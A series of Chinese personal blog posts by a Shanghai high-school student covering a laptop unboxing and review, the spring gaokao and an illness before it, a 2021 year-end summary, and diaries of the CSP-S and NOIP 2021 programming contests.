再讲讲任课老师,尤其吹爆语文老师,至少是打破了我对于语文老师的刻板印象。她可以说是非常理性,从不生气,即使生气了也不表现出来,只是苦笑着阴阳怪气两句,听不懂的还以为她在夸你呢(比如“我们班的同学真是太优秀了,默写这5分根本看不上,我们要拿就拿后面的分”)。而且比起华丽虚浮的辞藻她更看重逻辑,无论是作文还是答题。甚至专门花了两节语文课给我们讲形式逻辑,讲同一律、矛盾律、排中律,讲典型的逻辑谬误,能够接受这样的语文教育真的很幸运。
总的来说高中三年虽然对学校没有多少认同感,但是很幸运能够碰上这么好的同学和老师,希望以后还能常联系吧。
7月23日出成绩,然后就要开始忙起来了,强基、志愿填报、综合评价批次面试,最理想的情况是综评批次被录取,这样8月4日以后就可以定定心心地过暑假了。
至于原本打算回老家的计划因为该死的疫情也只能泡汤了,三年没回去了,下一次有机会回去也不知道是啥时候。
好了,这篇周记就到这了。下一篇周记大概在录取结果出来之后吧,希望到时候能去想去的学校和专业。
]]>好久不见。大家可能已经知道了,因为这该死的疫情,上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长,而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。
好在这几天终于考完了高考,可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲,这里先不赘述了。
言归正传,考完试后,我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选,最终选择了 ThinkBook 14+ 2022 i5 独显版,这篇文章就来开个箱以及记录一下使用感受。
首先考虑到这是一台将要陪伴我至少4年的笔记本,因此坚持“买新不买旧”的原则,又考虑到大学大概率会选择计算机专业,听说 AMD 处理器会有一些问题(虽然可能现在已经没有了),决定只考虑搭载了 Intel 12代处理器的笔记本。
然后平时偶尔会打打游戏,主要有 Minecraft、原神(诶嘿~我收回之前说过只玩 MC 的话),而且暑假里因为疫情不能出门聚会,和高中同学约了一起打老头环,所以肯定要有一块独立显卡,显存还不能太小。
最后考虑便携性,2kg 以上的笔记本就不考虑了,也就意味着游戏本基本上都不考虑。毕竟天天背着笨重的笔记本在宿舍楼和教学楼之间来回跑简直是酷刑。感谢之前 @PRIN 大佬的一篇文章《上大学买游戏本,你可能会后悔》。
综合以上几点最终确定了这台 ThinkBook 14+ 2022 i5 独显版。12代 i5-12500H 处理器搭配 RTX 2050 光线追踪显卡,除了续航能力崩了而我又恰好不介意这点之外,其他看上去都没有什么问题。6299元的售价更是非常的香。于是就在京东下了单,竟然当天下午就收到货了,现在买东西是真的方便啊。
在下单之前也看了网上很多的翻车记录,有人屏幕装歪了,有人四个脚垫不一样高,有人触摸板缺了一角,有人键盘的某一个键和别的键手感不一样,还有人屏幕漏光或是水波纹。不过想着这么高的销量有些翻车也正常,所以没太担心。
又看到这款电脑的无线网卡是 Intel 和 Realtek(可能存在断流问题)随机发货的,硬盘是三星和镁光随机发货的,还挺期待自己会不会中奖。
到手后,最外面是京东的纸箱,里面又套了一个 ThinkBook 的纸箱,再里面才是本体和充电器。
笔记本约1.4kg,没有想象中的轻但也能够接受,14寸的大小对我而言刚刚好,厚度也很满意。仔细检查了一下外观上没有翻车。
原装充电器是三段式的设计,和传统笔记本比较相似,连接市电的那端用的是三脚插头,好评(后面会提到原因)。但是这也带来一个问题,就是挺重的。外出携带的话我可能会考虑再另购一个氮化镓的充电器。
机身侧面有两个 USB 3.2 Type-A(左右各一),一个 USB 3.2 Type-C(左侧,也用作充电口),一个 ThunderBolt 4.0(左侧),一个 USB 2.0 Type-A(右侧隐藏式)。除此之外还有一个 HDMI 2.1 TMDS(左侧),一个耳机麦克风二合一接口(左侧),一个 RJ45 以太网接口(右侧)以及一个 Micro SD 卡槽(右侧)。
盖子可以单手开合。开盖后直接按电源键开机没反应,说明电脑正处于出厂后的运输模式中,不是翻新机。连接电源后正常开机,进入 Windows 11 OOBE。
到了联网的这一步有一个小技巧。因为万一要退货机器是不能联网激活的,而 Windows 11 又不提供跳过这一步的按钮。因此我们可以用 Shift + Fn + F10 打开命令提示符,再输入 taskmgr 调出任务管理器,在进程中找到“网络连接流”,结束任务即可跳过联网。后续会让你创建本地账户,如果想要使用 Microsoft 账户可以等到验机没有问题联网后在设置里关联。
进入桌面后先用工具箱看了下配置,惊喜地发现中奖了 Intel AX201 网卡和三星的固态硬盘,爽。就是头一回见到 16G 内存竟然是一堆 2G 叠出来的,属实有点离谱。
以下测试均在均衡模式下连接充电器进行,仅供参考。
CPU-Z 测试结果:
GPU-Z 测试结果:
CineBench R23 多核测试结果:
SSD Benchmark 测试结果:
显示器色域测试结果:
测试过程中风扇转速加快,能够明显听到风声,但个人认为可以接受,不影响使用体验。屏幕转轴处较烫手(靠近散热口),但键盘温度并没有明显上升,使用舒适。
因为不想让某大师玷污我的电脑,所以此处没有某大师跑分截图。
我警告你们,刚洗完澡千万不要用湿着的身体碰插单相电源的Mac!!!尤其不要让自己的雕垂在Mac上!!!!!!!!!!!!!!!!!!老子要升天了!!!!!!!!!!日妈批!!!!!
— H λ L F - D E λ D (@mariotaku) August 5, 2014
Minecraft 开光影稳定高帧率,游戏体验很好。
原神中画质稳定60FPS,游戏体验同样很棒。
至于老头环还没买,暂时无法体验。
这篇文章就是在新电脑写的,习惯了键盘后体验很棒。
屏幕比例是 16:10,这个比例写代码也很舒适,屏幕大小完全够用。
16GB 内存够用,Chrome 标签页随便开无压力。
总的来说这台电脑非常符合我的预期,即使有一些小问题也是我不在意的,整体用起来非常舒适。当然本文仅代表我个人的体验,大家还是要根据自己的需求进行选择,毕竟适合自己的才是最好的。
]]>猛然发现上一篇“周记”竟然是183天前写的,再不更新就要成“年记”了。因为高三了平时也确实没时间写东西,整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了,就来写写2022年的第一个月发生的事吧。
(话说一直想给这个系列换个名字,一周一记是绝对不可能滴,那么该叫什么好呢🤔)
万万没想到2022年刚开始就碰上这种事情,而且还是在春季高考前3天。
1月5号大概上午第四节课下课突然胃疼,起初疼得还不算厉害,以为只是饿了也没在意,想着再熬一节课去吃个饭应该就好了。正好第五节是化学课,我不选化学就去自习室刷英语题。谁知道开始疼得越来越厉害,直冒冷汗的那种。我感觉笔都拿不动了,题目也做不进去,索性趴在桌子上休息了一会儿。
下课忍着痛去食堂,食堂里人山人海,而我已经疼得站都站不稳了。在人最少的窗口买了份饺子,结果发现疼得完全吃不下去,吃了两个就回教室了。想到下午全是英语课就在纠结要不要请假回家,最后疼得不得了于是向班主任请了假。到家吃了铝碳酸镁片,想着睡一觉应该就好了。然而并没有用,醒来依然疼得离谱。最后顶不住了决定晚上去医院看急诊。
原以为到了急诊就能看上,结果六院急诊内科人真的多,还得等两个小时。我已经疼到绝望,整个人蜷缩在座位上又坚持了两个小时。晚上八点好不容易排到我了,医生开了血常规和淀粉酶化验,然后去抽血。报告出来一看白细胞↑,C反应蛋白↑,确诊急性肠胃炎。医生知道我过两天要春季高考直接让我去输液,开了头孢和止痛药,四袋输完疼痛总算稍微减轻了一点。因为后面两天还要去医院输液,我就都请假在家休息了。班主任非常好心地帮我在钉钉上开了个直播,我在家里就能跟着把课补上,很感动。
总之因为治疗及时最后没有影响到春季高考,输了三天液又活蹦乱跳了。仔细回忆了一下好像这段时间也没有乱吃什么东西,不知道为何突然弄出了肠胃炎。
1月8日-1月10日参加了2022年的上海市春季高考。
上海高考有春秋季两次。春考招生的院校和专业相较于秋考要差很多,所以除非高二等级考暴毙否则基本上不会选择春考走掉。多数考生参加春考是冲着英语去的,因为英语高考成绩是在春考和秋考中取高分,而春考英语的试题难度和主观题部分的批改严格程度一般比秋考英语低,所以如果春考英语能够取得好成绩的话下半学期就可以放掉英语,专攻其他科目。当然这并不意味着语文、数学可以乱考,因为春考同时也代替语文、数学、英语的合格考,不及格的话高中就毕不了业了。
上午考语文,照例在自己学校考试。尽管是新教材的第一届,语文试卷结构没有发生变化,对于整本书阅读的考察与考试手册上的样卷一致,作文依旧具有上海特色的思辨性。默写、积累运用、现代文一、文言难度都不高,唯独现代文二暴杀我,文章里每个字、每件事都看得懂,但是组合起来不知道作者想表达什么主题,后面的题目是真不好做,写满就是胜利。因为现代文二卡太久了,作文险些来不及写,确实思路也没打开,写得浅了一些。
下午考数学,又是脑子掉线的下午。填空11解析几何做不来,5分再见。填空12我都把那个函数的图像画出来了,周期性和对称性也都发现了,愣是没看出那个极限就是两条渐近线之间的距离,5分再见。没想到的是应用题竟然暴杀我,因为设角设得不当导致最后解析式写出来了,最值求不来。卡了好久最后用正切和正割做的终于求出最值了,答案是对的就是不知道批卷老师会不会扣过程分。解析几何大题差点把第一问的条件代入第二问,幸亏后来发现了。第三问也是想了很久,因为参数方程平时用得少,最后想到参数方程了并且做出来了。最后一题最后一问没时间了,随便写了两笔就收卷了,8分再见。
晚上回家还是忍不住好奇想对答案,于是上了知乎。事实证明别在网上乱对答案挑战自己的心态,知乎上的答案真的是五花八门,各种错误答案都有,居然还有人问一道证明题算出来结果是多少,就离谱。想着反正英语才是重头戏,也没有啥心理负担,继续看了看英语作文,练了一篇听力保持手感,准备调试好收音机和耳机。
早上考英语笔试部分(140分),因为有听力提前了半小时进场。我为了保险带了两台 PL-380,到座位后调好收音机频率和音量。我惊讶地发现 FM 89.9 MHz 长三角之声从未如此清晰,试运转时的电流声和底噪都没了。
到点了开始放听力,播音员口音非常标准,语速也很合适,没有18年的戏精男和19年的口齿不清男,整套听力做下来就是爽+简单,做完听力顿时信心倍增。
语法填空也很简单,就是第二个空竟然一下子卡住了,大致是说 Aurora 这个名字来源于啥啥啥,我竟然连 come from 都忘了,一直想不到那个介词 from,最后填了 after(因为想到 name after),痛失1分。
十一选十、Cloze 还是很简单,全文逻辑清晰,没有任何一空是让人纠结的,都是看一眼就出答案的那种。
阅读理解A、B、C篇也都很简单,除了A篇的一道题之外均无任何争议的余地。A篇那道题个人认为命题不当,大家都在B、C中纠结,我倾向于选择B选项。当然考试院自从一次事故之后就不公开高考试题和官方答案了,所以正确答案就只有出卷人知道了。文章和题目在下面,感兴趣可以做一做。
Question: What can be inferred from the dialogue between Jenny and Oliver?
A. …
B. Oliver would rather spend the money on survival.
C. It was difficult for the couple to make any decision.
D. …
六选四依旧秒杀。主观题部分概要写作文章思路也很清晰,难度不大。
翻译看到那个 sow 就知道要死一片人了。出题人还用心险恶地在句中加了“昨天”这个时间状语,让你根本逃不过去使用 sow 的过去式,于是肯定有很多人写了 sew。认真看过考试院发布的词汇手册的同学应该清楚过去式是 sowed。“落寞已久”写了 long-gloomy,不知道算不算对。
作文依旧是书信类,感觉自己写得中规中矩吧,内容上就平平无奇了,能用的词汇句式也都用上去了。最后险些写不下结尾,一行里挤了两行,希望没事。
今年的春考英语卷子客观题部分简单得有些不像话,这样的话根本拉不开差距,人均135+还有什么意义。
最后一天上午考口语(人机对话,人工批改),我是排在上午第三场。由于前面两场出现了技术故障(再次感叹我校机房电脑真的不行),在等候室里多等了十几分钟。一个机房里两套题,保证每个考生的前后左右的试题和他的不一样。我抽到的那套题比较简单,提问、看图说话、快速应答都很常规。就是最后的开放性问题有点扎心,问的是 Do you think you are a sociable person? Why or why not? 社恐表示很淦。因为自己确实不是那么 sociable,干脆实话实说了,顺便列举了几个自己平时社恐的例子加以佐证,说个五六句就差不多了。
考完试趁着还没出成绩和同学出去玩了半天。第一次玩了剧本杀,开了个微恐的7人本。结果挺吓人的啊,每次一关灯我们7个男的就往后躲缩在角落里瑟瑟发抖。总的来说还是玩得挺爽的,非常烧脑,演绎也很棒。另外竟然还有售后服务,大晚上的差点没把我吓着。
12月份的时候报名了P大的寒假营,本来觉得过不了初审的,结果竟然过了?!然后因为疫情寒假营是线上举办,最重要的是第一天的综合测试。P大直接用 HSK 考试客户端改了个寒假营考试客户端。离谱的是选考科目竟然只能选物理/化学/政治/历史四选二,对于我这种物地生选手简直没得选,只好选了物理+化学。
作为上海考生考下来的感受是除了语文还行、英语秒杀之外是真的难。数学20题就做出了8题,物理那简直就跟没学过一样,和化学没区别。上海高中物理真的是全世界最简单的物理,啥重要啥不学,做一下全国的物理瞬间就暴毙。化学么反正我也没学过等级考课程,全是蒙的,最后无聊到在那背第一页的元素周期表(不能提前交卷)。总之就当体验一下了,优秀营员是不可能了。第二天就是听听教授们的讲座,然后可以线上参观P大校园。
随着这个日子一天天接近,真的是越来越紧张,甚至觉都睡不好。查分前一天偶然发现“随申办”小程序里已经做好查分页面了,忐忑地输入信息点击查询结果啥都没查到。查分当天上午循环播放《好运来》(当代高中生迷信行为),本来说是下午两点出分,中午12点多的时候我随手打开“随申办”小程序,原本以为会和之前一样还是啥都没有,结果竟然分数一下子就跳出来了,给我整傻了,还没来得及紧张就直接查到分了。
语文数学就不说了,全面爆炸,全部献祭给了英语。原本看到英语141还挺高兴的,毕竟实现了2022年的第一个愿望。结果问了一圈发现人均140+,全年级140+有将近60人,也就是说我的英语成绩排名从平时的年级前10名一下子掉到30-40名,顿时就高兴不起来了。但是要说差吧,年级最高分也才145,可见这个分数段有多紧,根本拉不开。
虽然觉得有点不甘心最后还是决定放掉英语,毕竟语文和数学秋考要是还考成这样就没学上了。所以现在高考成绩已经拿到了281分,下一个目标:物理等级考A/A+,继续加油。
总体而言这一个月非常充实,也算是走好了高考的第二步,英语一考上岸了。
后面一段时间就是上课+写作业,不过相比于上学要轻松多了。再努力几个月,希望能考到理想的大学。下一篇“周记”大概要5个月后了,咕咕咕咕咕。
时间过得真的好快,转眼又是一年年末,不知不觉竟然就要步入2022了。
这段时间一直在备战英语春季高考,于是把年终总结一拖再拖。现在是2021年最后一天的晚上7点,我刚刚从学校回到家中,刷了一天的英语卷子已经累得想要躺平了,正好写点东西放松一下。
那么,就来回顾一下我的这一年吧。
为了看看今年的博客访问量等数据,我打开了自上次写完年终总结就再也没用过的 Google Analytics。这次试了试自定义报告的功能,能够自动生成和去年同期比较的数据报表,还挺方便的。
从报告中可以看出,博客和去年相比访问量下降了一半,来自搜索引擎的访问比例也降低了不少,确实今年学业方面比较忙,没有什么稍微有质量的内容的产出。
今年博客新增9篇博文(不算这篇年终总结的话),要是还有你没读过的,不妨去「归档」页面看看哦。
今年博客新增有效评论9条,感谢每一位在评论区留言互动的人。
文化课方面,上半年主要在准备地理和生物的学业水平等级考,经过几个月的努力终于在6月收获了梦寐以求的两个 A+(等级赋分满分),走好了高考的第一步。下半年少了两门课要轻松一些,开始侧重英语,为明年的春季高考做准备。因为英语还不错,11月份的时候被拉去参加了上海市高中生英语竞赛,最后摸了个2=。12月一模考试考了 599.5/660,校排名进了前十,挺意外的。
OI 方面,作为退役人士抽空参加了今年的 CSP/NOIP 系列赛事,CSP 捞了个1=和2=,NOIP 捞了个2=。
(此处应还有一张配图,然而由于低效的 CCF,截止至2021年12月31日,NOIP 证书还没到手)
可以说,今年大概是 New Year Resolution 全达成的一年,想想还是挺高兴的。
害,一时半会儿也想不出来该写些什么。基本上每天都在家和学校之间来回奔波,也习惯于每天11节课、大量作业和6小时的睡眠。虽然有时候确实很累,回想起来,却只记得为目标努力的日子很充实,和同学相处的日子很快乐。
2022大概是我人生中关键的一年,高考、成年、大学…无数的可能性都将在这一年里发生。所以,我在此许下几个愿望,明年争取一一达成!
首先是几天后的春季高考,希望英语能够135+上岸(当然最好是140+)。接着是五月份的物理等级考和六月份的秋季高考,希望能够考取理想的成绩,进入喜欢的大学和喜欢的专业。
暑假里想要回一趟老家,因为疫情的缘故以及市教委的各种防疫规定,我已经将近三年没有跨出上海了。离疫情爆发已经过去两年,完全恢复到疫情前的生活似乎显得希望渺茫,但我还是希望这场灾难能够尽快结束,也希望我们都还记得那些值得被铭记的人和事,对抗所谓「正确的集体记忆」。
为了感谢各位一年来的支持,决定在2022新年整点活。作为退役 OIer 第一次尝试自己出了几道题,组了一场 IOI 赛制的「2022 新年欢乐赛」,参与比赛、提交代码就有机会获得来自 Hans362 的新年红包哦。
报名链接:https://match.oj.0vv0.top/contest/1
比赛时间:2022.1.25-2022.2.6
编程语言:C/C++ 98/C++ 11/Pascal/Java 8/Java 11/Python 2/Python 3
暂定奖励方案:比赛结束后,排行榜第一名发放10元微信红包,第二、三名发放5元微信红包。(总分同分则以A、B、C题为第二、三、四关键字排序)
毕竟是我这个菜鸡出的题,难度都不大,同时比赛会开放十几天,欢迎大家抽空来尝试一下哦。因为是穷学生,要是有人赞助一下奖励就更好了(你在想桃子)
特别感谢此时此刻读到这的你,祝你2022新年快乐,梦想成真(≧▽≦)/
Hans362 's Blog,四周年快乐~
]]>11月20日下午一点,考场内清脆的结束铃响起,我按下了屏幕上的提交按钮,短暂的三年 OI 生涯终于随 NOIP 2021 的落幕画上了句号,我的心里感慨万千。这应该是这个博客的最后一篇 NOI 系列活动游记了,因为,无论这次考得怎样,我都真的彻底退役了,高三了,老了。
没想到 NOIP 竟然不在自己学校考,大概是因为比起 CSP-S2 人要少很多,我被分配到了比较远的华师大二附中某分校,路上要花不少时间。
考试前一天周五晚上六点放学(毕竟高三了),回到家都已经七点了,写了会儿作业就开始看 OI Wiki,复习了一些模版和 STL,十点多就睡觉了。
一大早六点起床,七点四十五到达考点。门口工作人员正在悬挂 NOIP(上海赛区)的横幅,排了会儿队测完体温就进去了。
进了机房找到座位开始试机。不愧是四大名校之一,华二的机房硬件设施比我校的高到不知道哪里去了。电脑装的是 Windows 10 精简版本,内存配了8个G,VirtualBox 装了 NOI Linux 2.0,总算不会出现 CSP-S2 时在我校虚拟机都开不起来的情况了。唯一一点不好的就是这精简系统把 Windows 自带的计算器给阉割了,要算个东西还得写代码。
到时间了下发密码,建文件夹,解压试题。看了眼编译参数,是开 O2 优化的,说明以后 O2 优化将成为常态。扫了一眼四道题,果然又没看到什么签到题,T1相对而言感觉是最好下手的,决定从 T1 开始。
读完题想到了三种思路。第一种就是喜闻乐见的打表。幸亏我在考前仔细阅读了相关的技术条例,在 CCF 一份2011年的文件中明确规定了代码的长度不得超过 100KB,而这道题 的数据量显然会超出大小限制而爆零,果断否定。考完后发现傻乎乎打表的人竟然还真有,上海有个人打出了 23MB 的表。
第二种想法是预处理 以内所有含 的数字,打上不可报标记,同时对于每个含 的数字其整数倍对应的数字也打上不可报标记,这些都在预处理过程中完成,然后再针对每个询问进行查询。这种方法实际上就是所谓的「埃拉托斯特尼筛法」,貌似是本题的正解。我竟然在没有学过线性筛法的情况下自己想出了这种做法。悲催的是我错误地估计了时间复杂度,觉得预处理时间复杂度很高,查询又不需要使用到预处理的所有数据,会进行很多没有必要的预处理,从而超时。于是我在未加尝试的情况下竟然毅然决然地否定掉了正解。我根本没有意识到这样的查询实际上是离线查询,查询时间复杂度是 ,预处理时间复杂度也不过 ,是完全可行的。这也为我在这场比赛的失败埋下了伏笔。
然后我就瞎搞出了第三种做法,预处理只处理 以内所有含 的数字,打上不可报标记。然后针对每个查询数字 再去校验 及以后的数是否可报。我洋洋得意,自以为这样的做法似乎避免了不必要的预处理,但赛后发现实际上查询时间复杂度高得离谱。一测发现前三个样例 AC,样例4 TLE。于是我又加了个记忆化数组,保存校验结果减少对同一个数的重复校验,然而样例4依旧 TLE。一看时间已经过去一个多小时了,想着算了先往后做吧。
一看真就没啥思路,感觉和组合数学有关,估计是什么数学题。思索了很久实在没想法就 DFS 暴力开搞,逐个枚举数列 中每一项的值,再求相应的 ,用 __builtin_popcount()
统计二进制中 的个数(今年起开放了下划线开头的函数),如果满足 就计算权值。同时要时刻注意取模避免爆 long long
。测了一下样例1 AC,样例2 WA,而且我的答案竟然是负数,怀疑哪里溢出了检查了好几遍都没发现问题,该取模的地方也都取了,我只好决定放在一边接着往下做。
一看这题,我靠,怎么又是数学题,搁这上机数学竞赛呢?莫不是全国高联 CCF 限定版?
众所周知方差是反映一组数据波动程度的统计量,方差最小那不就是要数据波动尽可能小嘛,那这道题就是要通过若干次这种操作减少数据的波动程度。我打算先研究一下题干中给出的这种操作的一些性质,花了点时间发现了下面两条:
然后就没了,好不容易证出来的结论似乎对解题依然没什么帮助。考虑了一下贪心、差分,感觉都不太对,也没敢贸然下手。最后只好忍痛放弃,拿了 的12分跑路。
看完题目就没有什么做的欲望了,再加上给了 1024MB 内存,4s 时限,估计不是什么好做的题。写 DFS 当成大模拟做我觉得划不来,吭哧吭哧写完调半天可能也没几分,果断放弃。
回过头又在 T1、T2、T3 间反复横跳,一道都没能突破,直到最后都没意识到自己把 T1 正解给否决了。走出考场的那一刻我知道自己已经凉了,突然很庆幸去年拿了二等奖,今年恐怕连奖都没了,在高一高二同学面前我这个高三的半退役选手真的是身败名裂。同时也深刻认识到了数学是自己的最大软肋,今年三道数学题一搞就拿不到什么分了。
回到家测了下民间数据,洛谷 62pts,小图灵 82pts,InfOJ 82pts,市排名 200+/371,凉透了。写这篇游记来记录我在考场上的真实反应,也是希望后人能吸取我的教训,引以为戒。
我的高中三年 OI 生涯就在这一场失败的比赛中结束了,感觉自己又回到了2019年第一次打 CSP-S(那年 NOIP 取消)的时候,也是拿了几十分滚粗了,还真是首尾呼应啊(笑)。不管怎么样,至少高二的时候拿过 CSP-S 一等,拿过 NOIP 二等奖,也算是满意了。
更何况,自始至终我从来不指望 OI 能给我带来升学上的任何实质性帮助,也并不只是为了那么几个奖打 OI,更是因为热爱它,愿意为它付出时间和精力。三年下来,我收获了独属于我的一段人生经历与体验,也深刻认识到了自己是多么的菜,比自己厉害的人数不胜数,因而时刻心怀谦卑,这就足矣。
借此也特别感谢我校的两位信竞教练,把我们领进了 OI 的世界,高一高二时坚持每周两个晚上的集训无偿给我们上课,真的付出了很多。还要感谢我的班主任,在刚进高中家访的时候得知我有这方面的兴趣,二话不说当场打电话给了我现在的教练,把我拉进了校队。
12月底还有一场上海市高三信息科技竞赛,仅限上海市高三学生参加,教练推荐了我去,到那时就要真正和 OI 说再见了。
不过,在9个月之后,当我考完高考,当我步入大学的校园时,说不定还能再次重逢,也许我会去打蓝桥杯,也许会成为 ACMer,又有谁说得准呢。
OI,后会有期。
]]>昨天,也就是2021年10月23日,我刚刚考完了本年度的 CSP-S 第二轮。晚上六点多走出考场时,我人已经麻了。欲知发生了甚么事,请继续阅读本文。
P.S. 去年复赛游记请移步:2020 CSP-S 复赛游记
复赛那天恰逢成人高考,原以为我校应该做不了 CSP 认证点,和初赛一样要跑很远去华二考试,结果一看准考证,认证点竟然就在自己学校?!瞬间狂喜,而且机房也在以前刷题的机房,监考老师就是自己教练。
考试前一天下午因为成人高考布置考场三点多就放学了,回到家大致梳理了一下常用模版的实现思路。由于今年9月1日起 NOI 系列活动启用全新的技术标准,采用 C++14 标准,放开了大部分原本禁用的下划线开头的函数,pbds
也可以使用,因此又现学了一下一些原本禁用的函数和库。
下午提前45分钟到达学校,看到校门口好多人于是想也没想就跟在后面排队测温,快排到我时我瞥了一眼工作人员的胸牌,一眼就看到大大的 SHMEEA 的标志。嗯?怎么是上海市教育考试院的牌子?再一看别人手里拿的准考证,然后瞬间明白了我混进了成人高考的队伍。当然也无伤大雅,进去后直奔科技楼,终于看到教练在门口负责收集考试安全承诺书。因为时间还早就先去底楼的实验室开了台电脑练习一下手感,提前十五分钟再进楼上的考场。
到点了公布解压密码,一次输对,解压、建文件夹一气呵成,毕竟都打了两年比赛了。然后开始看题,发现今年可以吸氧(开 O2 优化)诶,STL 可以放心用了。吸取去年 T1 的教训,我把4道题都看完了。然而看完我就慌了,因为我根本找不到签到题,就只好先从 T1 开始。
尝试抽象了一下数学模型,感觉和线段覆盖有关?莫非是线段树?那我可不会打。思索了半小时没啥正经的思路,暴力做法倒是想到了,也就是将每架飞机的起飞降落都分别看成一个事件,用结构体维护事件,上来先把事件按时序用 sort()
排列,然后对于每一种分配方案再模拟时间轴,统计停靠廊桥的飞机数量,最后取其中的最大值。当然我也很清楚这样的做法时间复杂度是 ,看了下数据范围 和 都要到 ,明显会爆炸。然而已经过去半小时了,实在没什么更好的思路了,只能先暴力开搞。半小时写完样例都通过了,可见样例非常水。
因为 T2 实在没啥想法甚至连暴力都不知道咋写,果断跳 T3。这题也没啥正经做法的思路,看到输出字典序最小的结果考虑可以 DFS,优先走搜索树的左子树即可,当然看了下数据范围肯定炸,因此想写个 DFS 再试试看能不能剪枝。写完 DFS 过了前两个样例,考虑剪枝。发现搜索到 层就可以开始判断是否回文了,如果不是就直接回溯,即
if (k>n+1 && (b[k-1]!=b[2*n+2-k])) return;
然而样例3还是炸,遂放弃。
题看起来都费劲,而且不像去年,今年这道没有好做的部分分。显然不可做,就直接放弃了,回头去看 T2。
这题一上来完全没往 DP 上想,我的思路是枚举每个?
可能的值,再判断整个字符串是否合法。但是问题就出在这个判断函数应该咋写,我联想到了利用栈进行括号匹配的操作,于是大胆猜想这题也应该是这么干的,只不过还要确认连续出栈的*
个数小于等于 ,然而很不幸猜错了。当样例1死活过不了之时,我才突然发现我这个算法很容易就证伪了。然后我就开始想另一种校验字符串合法的方式,完全陷入了这种思维定势导致我浪费了大量时间。
最后只剩下半小时了我才突然意识到 DP,结果当然并没有推出转移方程。无奈放弃。试图开一下虚拟机准备跑一下 T1 T3,结果学校的破电脑根本承受不住竟然直接死机了,硬盘仿佛在呼啸,最后也没测成。
到点交卷签字走人,我觉得我凉透了,应该是没有三位数了。
一早测了下洛谷民间数据,40+0+28+0,我人没了。后来发现 T3 还有一个枝忘剪了,加了行代码直接 28pts 变 40pts,我人麻了。
今年可以说更加注重思维的考察,没有去年的大模拟、卡精度之类的妖魔鬼怪,但是对于我这种缺乏思考能力的选手而言确实是挺有难度的,至少我认为比去年难多了。而我这次 T2 被自己刚开始的思路局限住了,没有充足的时间去思考 DP 做法,也值得引以为鉴。
总之这场 CSP 打得稀烂,但愿还能有机会苟进 NOIP。
]]>没错,我又回来了。
去年 NOIP 拿了个二等奖,然后退役专心搞文化课去了,当时打算如果高三有空的话再去玩最后一次。现在由于我已经考完了地理、生物等级考,课业压力和很多人相比还是要稍微轻松一点的,再来就是想调剂一下枯燥乏味的生活,于是尽管已经高三,我依旧报名了今年的 CSP/NOIP 系列认证/赛事。当然高三毕竟还是学习最重要,所以我也就没有像去年花大量时间参加集训了,决定凭着现有的菜鸡水平,作为退役选手重返赛场。
因为一些众所周知的原因,今年是 NOI 系列活动新赛程实施的第二年。由于有了去年的经验,今年 CCF 各个环节推进得要迅速很多,8月份就开始初赛报名了,整个赛程的时间线比去年提早了一个月左右,正好不会影响到12月份的高三一模。9月19日我去考了 CSP-S 第一轮认证(初赛),于是就有了这篇游记。
去年初赛游记请移步:2020 CSP-S 初赛游记
因为太久没碰 OI 了,教练都有点担心我的初赛,于是考试前一天非常贴心地给我准备了三套模拟卷和答案供我复习,真是受宠若惊。
回到家后写了三小时作业,然后开始复健。快速地过了一下模拟卷,顺带着把知识点过了一遍,发现还是遗忘得挺多的,不过稍微看一看也能想起来。模拟卷里还有几道几年前初赛很喜欢考的时间复杂度递推,以前因为看不懂主定理所以遇到都直接放弃。这次我打开 OI Wiki 尝试学习了一下主定理的使用,竟然学会算时间复杂度递推了(虽然第二天根本没考到)。
然后今年我校在9月19日承办了另一重要赛事,所以就只能大老远跑到华师大二附中某分校去考了(复赛那天我查了下是成人高考,我校又要被征用,看来今年是不能在自己学校考了)。
一大早出发,大概一个小时的车程到达认证点,然后被惊吓到了。放眼望去校门口的队伍里竟有一大半都是小学生,拜托这可是S组的认证啊,现在信息学竞赛已经内卷到这么可怕的地步了吗?(瑟瑟发抖)
到了考场门口才知道很多小学生是下午J组的,搞错时间了。但是,报名了S组的小朋友依然很多,我那个考场里有大约一半都是小学生。
然后就是发卷子和答题卡以及草稿纸,拿到卷子后翻阅了一下,一眼就看到了今年那道臭名昭著的手算 base64,顿时心里咯噔一下。再看到后面的笛卡尔树和四毛子,我的心已经凉透了。
硬着头皮开始做选择题,考了 Linux 列目录命令好评,图论和二叉树考了挺多题的,难度还可以,主要都是概念性的和结论性的东西,排列组合数学题考了两道,比去年的数学题要难一些,但是毕竟高中数学没白学,都做对了。
(感兴趣的同学可以做做)
最后选择题正确率挺高的,就错了一道题。
说实话看完这题是懵的,不知道这个程序在干嘛。但是一看到
又看到两个特判
顿时明白了这是在求两个球的体积交。
然后就好做了,但是带入数据计算的时候发现有个变量 好像没给啊,找了半天发现写在了最顶上:
原来 是 啊,诶等等,这是我脑子能计算的东西吗?习惯于使用计算器的我差点没反应过来这货就是 。
这题就涉及到我的知识盲区了,我这个菜鸡只好一通瞎猜。
万恶的 base64 来了,恨不得当场调个 base64_decode()
函数。
一上来就掉坑里了,没考虑到解码出来的字符串可能包含换行符。
手算 base64 果断放弃,相信好心的 CCF 是不会让你算半天最后发现不对的,结果猜错了,CCF 并没有这么好心。
这道题是整张卷子中最让人无语的一道题,因为它考了一个未定义行为,即不同的编译器和平台会给出不同的结果,主要取决于 char
是被默认为 signed char
还是 unsigned char
,可以说是命题人欠考虑了。以下是考完后上机验证的结果:
今年的完形填空(完善程序)难度比去年要大,T2 四毛子我就不说了,我全是猜的(最后莫名其妙猜对了好多),T1 给了个极具迷惑性的没有卵用的 记录 while()
循环执行的次数,让我一直在想它的用处,最后害我把本来判断对的改错了。
当天晚上对了答案,估分65.5pts,虽然不咋样但是在上海应该能过。
(图源洛谷,仅供参考)
上海成功撑到了最后,赢了广东,成为了全国最后一个出成绩和分数线的赛区。
考了69.5,比估分高了4分,最后成绩居然和去年一模一样,虽然卷子难了成绩没变,还是比较满意的。至于上海分数线嘛,才41分,我这分数在上海都能排到100名左右。
之后还是专心于文化课,计划国庆去学校一个上午练一下手感,然后复赛前一天晚上背背板子就差不多了,能拿多少分随缘,反正已经退役了大胆去考就可以了。
最后,祝今年参加 NOI 系列活动的 OIer 们考出好成绩~
